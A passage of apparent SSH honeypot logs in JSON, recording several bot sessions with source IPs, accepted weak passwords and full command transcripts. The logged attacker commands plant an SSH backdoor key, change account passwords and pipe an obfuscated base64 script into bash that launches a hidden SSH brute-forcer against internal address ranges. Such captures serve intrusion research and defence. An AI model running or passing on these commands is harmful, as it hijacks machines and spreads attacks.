-m"},{"seq":19,"at":"2026-08-20T12:08:21.865858+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:08:22.182824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:08:22.661124+00:00","kind":"output","latency_ms":477,"data":"64"},{"seq":22,"at":"2026-08-20T12:08:22.980359+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:08:22.981004+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:22 up 8:58, 0 user, load average: 0.16, 0.16, 0.13\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 564 free, 392 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:08:23.298552+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:08:23.298857+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:08:23.617066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:08:23.617697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:08:23.936900+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:08:23.937748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:08:24.256717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:08:25.270325+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:08:25.588592+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:08:26.265708+00:00","kind":"output","latency_ms":676,"data":"24G"},{"seq":34,"at":"2026-08-20T12:08:27.377532+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin123.\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:08:27.694136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:08:28.339036+00:00","kind":"output","latency_ms":644,"data":""},{"seq":37,"at":"2026-08-20T12:08:28.790926+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:08:29.526524+00:00","kind":"output","latency_ms":734,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":39,"at":"2026-08-20T12:08:29.845881+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:08:30.642064+00:00","kind":"output","latency_ms":795,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":41,"at":"2026-08-20T12:08:30.960516+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:08:31.277610+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:08:31.876086+00:00","kind":"output","latency_ms":597,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":44,"at":"2026-08-20T12:08:32.193950+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:08:32.783310+00:00","kind":"output","latency_ms":588,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":46,"at":"2026-08-20T12:08:33.103896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:08:33.663419+00:00","kind":"output","latency_ms":558,"data":""},{"seq":48,"at":"2026-08-20T12:08:41.367637+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:08:41.368743+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin123.","method":"password","accepted":true,"tier":"other"}]} {"id":"22acd34e-8908-48df-b288-564e100821a1","name":"whispering-gilded-camel","protocol":"ssh","channel_kind":"exec","src_ip":"52.176.211.73","src_port":35132,"username":"anupam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":135,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:07:15.709568+00:00","ended_at":"2026-08-20T12:07:15.735619+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3632,"events":[{"seq":1,"at":"2026-08-20T12:06:49.966409+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:06:50.101448+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:06:53.130074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:06:53.873398+00:00","kind":"output","latency_ms":742,"data":"1"},{"seq":5,"at":"2026-08-20T12:06:54.008687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anupam\\nAAMBcoTdP3ji\\nAAMBcoTdP3ji\"|passwd|bash"},{"seq":6,"at":"2026-08-20T12:06:54.143770+00:00","kind":"input","latency_ms":null,"data":"echo \"anupam\\nAAMBcoTdP3ji\\nAAMBcoTdP3ji\\n\"|passwd"},{"seq":7,"at":"2026-08-20T12:06:54.279717+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T12:06:55.499407+00:00","kind":"output","latency_ms":1219,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T12:06:55.636947+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T12:06:56.329110+00:00","kind":"output","latency_ms":691,"data":"956 0 0 0 0 0"},{"seq":11,"at":"2026-08-20T12:06:56.464744+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T12:06:57.457262+00:00","kind":"output","latency_ms":992,"data":"-rwxr-xr-x 1 root root 142K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T12:06:57.592938+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T12:06:58.821035+00:00","kind":"output","latency_ms":1227,"data":"MAILTO=\"\"\n0 * * * * /opt/stable/bin/muck-out.sh >> /var/log/stable-muck-out.log 2>&1\n15 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/hayloft-backup.log 2>&1\n*/10 * * * * /opt/stable/bin/hoofcheck.sh >/dev/null 2>&1\n@reboot /opt/stable/bin/canter-deploy.sh >> /var/log/stable-deploy.log 2>&1"},{"seq":15,"at":"2026-08-20T12:06:58.954903+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T12:06:59.710514+00:00","kind":"output","latency_ms":753,"data":" 11:09:53 up 8:00, 0 users, load average: 0.08, 0.04, 0.01"},{"seq":17,"at":"2026-08-20T12:06:59.843890+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T12:06:59.844795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T12:06:59.981585+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T12:07:00.636924+00:00","kind":"output","latency_ms":655,"data":"1"},{"seq":21,"at":"2026-08-20T12:07:00.772129+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T12:07:00.772766+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:00 up 8:57, 0 user, load average: 0.2, 0.24, 0.14\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 439 free, 516 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T12:07:00.908276+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T12:07:00.908819+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T12:07:01.045742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T12:07:01.046444+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T12:07:01.180777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T12:07:01.181385+00:00","kind":"output","latency_ms":null,"data":"anupam"},{"seq":29,"at":"2026-08-20T12:07:01.316279+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T12:07:01.863397+00:00","kind":"output","latency_ms":546,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T12:07:01.999759+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T12:07:02.765992+00:00","kind":"output","latency_ms":765,"data":"24.0G"},{"seq":33,"at":"2026-08-20T12:07:03.334686+00:00","kind":"input","latency_ms":null,"data":"echo \"anupam anupam\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T12:07:03.471592+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T12:07:03.936715+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-20T12:07:03.967262+00:00","kind":"output","latency_ms":495,"data":""},{"seq":37,"at":"2026-08-20T12:07:04.551007+00:00","kind":"output","latency_ms":613,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T12:07:04.687736+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T12:07:05.360152+00:00","kind":"output","latency_ms":672,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T12:07:05.495641+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T12:07:05.629606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:07:06.486398+00:00","kind":"output","latency_ms":856,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T12:07:06.621538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T12:07:07.252783+00:00","kind":"output","latency_ms":630,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T12:07:07.387601+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T12:07:15.712585+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-20T12:07:15.713196+00:00","kind":"output","latency_ms":null,"data":"anupam"}],"credentials":[{"username":"anupam","password":"anupam","method":"password","accepted":true,"tier":"other"}]} {"id":"aaa2b28a-6666-4cf6-ad14-ca446e83aab5","name":"northern-bold-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"78.109.200.147","src_port":51814,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":500,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T09:24:27.111292+00:00","ended_at":"2026-08-20T09:24:27.263126+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3785,"events":[{"seq":1,"at":"2026-08-20T09:23:48.985013+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T09:23:49.496453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T09:23:54.231034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T09:23:54.712644+00:00","kind":"output","latency_ms":480,"data":"1"},{"seq":5,"at":"2026-08-20T09:23:55.220756+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nmjk54oQoLjaZ\\nmjk54oQoLjaZ\"|passwd|bash"},{"seq":6,"at":"2026-08-20T09:23:55.728537+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nmjk54oQoLjaZ\\nmjk54oQoLjaZ\\n\"|passwd"},{"seq":7,"at":"2026-08-20T09:23:56.238202+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T09:23:56.815794+00:00","kind":"output","latency_ms":576,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T09:23:57.315165+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T09:23:58.048536+00:00","kind":"output","latency_ms":732,"data":"956 214 514 0 228 0"},{"seq":11,"at":"2026-08-20T09:23:58.549158+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T09:23:59.303133+00:00","kind":"output","latency_ms":753,"data":"-rwxr-xr-x 1 root root 151K Apr 8 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T09:23:59.804366+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T09:24:00.945872+00:00","kind":"output","latency_ms":1141,"data":"0 3 * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 */6 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1\n*/2 * * * * /usr/bin/node /opt/stable/src/server.js >/var/log/stable-node.log 2>&1"},{"seq":15,"at":"2026-08-20T09:24:01.449831+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T09:24:02.607867+00:00","kind":"output","latency_ms":1158,"data":" 03:09:53 up 6:14, 1 user, load average: 0.12, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\npivpn pts/0 203.0.113.1 03:10 0.00s 0.02s 0.00s w"},{"seq":17,"at":"2026-08-20T09:24:03.107854+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T09:24:03.108539+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T09:24:03.683614+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T09:24:04.208684+00:00","kind":"output","latency_ms":525,"data":"64"},{"seq":21,"at":"2026-08-20T09:24:04.709086+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T09:24:04.709558+00:00","kind":"output","latency_ms":null,"data":"top - 09:24:04 up 6:14, 0 user, load average: 0.07, 0.09, 0.07\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 487 free, 468 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T09:24:05.209857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T09:24:05.210222+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T09:24:05.720083+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T09:24:05.720794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T09:24:06.219178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T09:24:06.220055+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-20T09:24:06.718773+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T09:24:07.878831+00:00","kind":"output","latency_ms":1160,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T09:24:08.379450+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T09:24:08.945546+00:00","kind":"output","latency_ms":565,"data":"24G"},{"seq":33,"at":"2026-08-20T09:24:10.731776+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn 1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T09:24:11.229862+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T09:24:11.844688+00:00","kind":"output","latency_ms":614,"data":""},{"seq":36,"at":"2026-08-20T09:24:13.118597+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T09:24:13.874553+00:00","kind":"output","latency_ms":756,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T09:24:14.373229+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T09:24:15.342139+00:00","kind":"output","latency_ms":967,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T09:24:15.839526+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T09:24:16.341420+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T09:24:16.922824+00:00","kind":"output","latency_ms":581,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T09:24:17.423065+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T09:24:18.103030+00:00","kind":"output","latency_ms":676,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T09:24:18.600529+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T09:24:19.316081+00:00","kind":"output","latency_ms":715,"data":""},{"seq":47,"at":"2026-08-20T09:24:27.111896+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T09:24:27.112593+00:00","kind":"output","latency_ms":null,"data":"pivpn"}],"credentials":[{"username":"pivpn","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"a9fe09c8-f362-4730-9890-658fe77be56d","name":"tidal-indigo-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"103.161.113.136","src_port":53790,"username":"ftpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":849,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T09:22:05.365710+00:00","ended_at":"2026-08-20T09:22:05.631619+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3812,"events":[{"seq":1,"at":"2026-08-20T09:21:12.876019+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T09:21:14.068719+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T09:21:20.489097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T09:21:21.242744+00:00","kind":"output","latency_ms":752,"data":"1"},{"seq":5,"at":"2026-08-20T09:21:22.092432+00:00","kind":"input","latency_ms":null,"data":"echo -e 